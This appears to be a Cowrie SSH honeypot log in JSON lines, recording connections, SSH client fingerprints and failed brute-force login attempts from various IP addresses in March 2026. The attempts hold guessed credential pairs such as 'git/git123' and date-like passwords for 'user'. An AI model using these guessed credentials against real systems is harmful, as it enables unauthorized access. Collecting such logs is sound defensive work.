{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:43.211585Z","src_ip":"162.120.6.20","session":"756a7ffff4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:43.424808Z","src_ip":"162.120.6.20","session":"756a7ffff4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:44.497247Z","src_ip":"162.120.6.20","session":"756a7ffff4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":49054,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f7832a07eee","protocol":"ssh","message":"New connection: 142.93.139.168:49054 (159.203.135.109:22) [session: 3f7832a07eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:07:00.666402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:07:00.670462Z","src_ip":"142.93.139.168","session":"3f7832a07eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:07:00.750485Z","src_ip":"142.93.139.168","session":"3f7832a07eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"axie","password":"axie@","message":"login attempt [axie/axie@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:07:00.911559Z","src_ip":"142.93.139.168","session":"3f7832a07eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:07:01.993667Z","src_ip":"142.93.139.168","session":"3f7832a07eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":55808,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b314d96c7e4","protocol":"ssh","message":"New connection: 172.105.63.214:55808 (159.203.135.109:22) [session: 5b314d96c7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:02.008839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:02.013634Z","src_ip":"172.105.63.214","session":"5b314d96c7e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:02.224544Z","src_ip":"172.105.63.214","session":"5b314d96c7e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cfx","password":"cfx@","message":"login attempt [cfx/cfx@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:02.649482Z","src_ip":"172.105.63.214","session":"5b314d96c7e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:03.862822Z","src_ip":"172.105.63.214","session":"5b314d96c7e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":38294,"dst_ip":"159.203.135.109","dst_port":22,"session":"d38d8e87ebfb","protocol":"ssh","message":"New connection: 212.11.64.156:38294 (159.203.135.109:22) [session: d38d8e87ebfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:03.932694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:03.941220Z","src_ip":"212.11.64.156","session":"d38d8e87ebfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:04.051160Z","src_ip":"212.11.64.156","session":"d38d8e87ebfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"12345","message":"login attempt [webtest/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:04.521372Z","src_ip":"212.11.64.156","session":"d38d8e87ebfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:05.633389Z","src_ip":"212.11.64.156","session":"d38d8e87ebfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41030,"dst_ip":"10.17.0.5","dst_port":22,"session":"933e56987da2","protocol":"ssh","message":"New connection: 2.57.121.25:41030 (10.17.0.5:22) [session: 933e56987da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:28.790561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:28.794620Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:28.897615Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05101987","message":"login attempt [user/05101987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:29.386711Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05051981","message":"login attempt [user/05051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:30.492684Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05031983","message":"login attempt [user/05031983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:31.599476Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05021990","message":"login attempt [user/05021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:32.705575Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04111990","message":"login attempt [user/04111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:33.811713Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:08:34.916954Z","src_ip":"2.57.121.25","session":"933e56987da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":41460,"dst_ip":"159.203.135.109","dst_port":22,"session":"7340cbcc09d8","protocol":"ssh","message":"New connection: 43.133.212.22:41460 (159.203.135.109:22) [session: 7340cbcc09d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:03.978353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:03.982622Z","src_ip":"43.133.212.22","session":"7340cbcc09d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:04.156946Z","src_ip":"43.133.212.22","session":"7340cbcc09d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserverarkserver","message":"login attempt [arkserver/arkserverarkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:04.917166Z","src_ip":"43.133.212.22","session":"7340cbcc09d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:06.094884Z","src_ip":"43.133.212.22","session":"7340cbcc09d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":15111,"dst_ip":"10.17.0.5","dst_port":22,"session":"200607426f86","protocol":"ssh","message":"New connection: 213.209.159.159:15111 (10.17.0.5:22) [session: 200607426f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:35.590749Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25820,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1d03e5f5971","protocol":"ssh","message":"New connection: 2.57.121.25:25820 (159.203.135.109:22) [session: b1d03e5f5971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:42.337845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:42.341331Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:42.435767Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05101987","message":"login attempt [user/05101987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:42.888688Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05051981","message":"login attempt [user/05051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:44.018691Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05031983","message":"login attempt [user/05031983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:45.116268Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05021990","message":"login attempt [user/05021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:46.214485Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04111990","message":"login attempt [user/04111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:47.311635Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:47.613279Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:47.693933Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
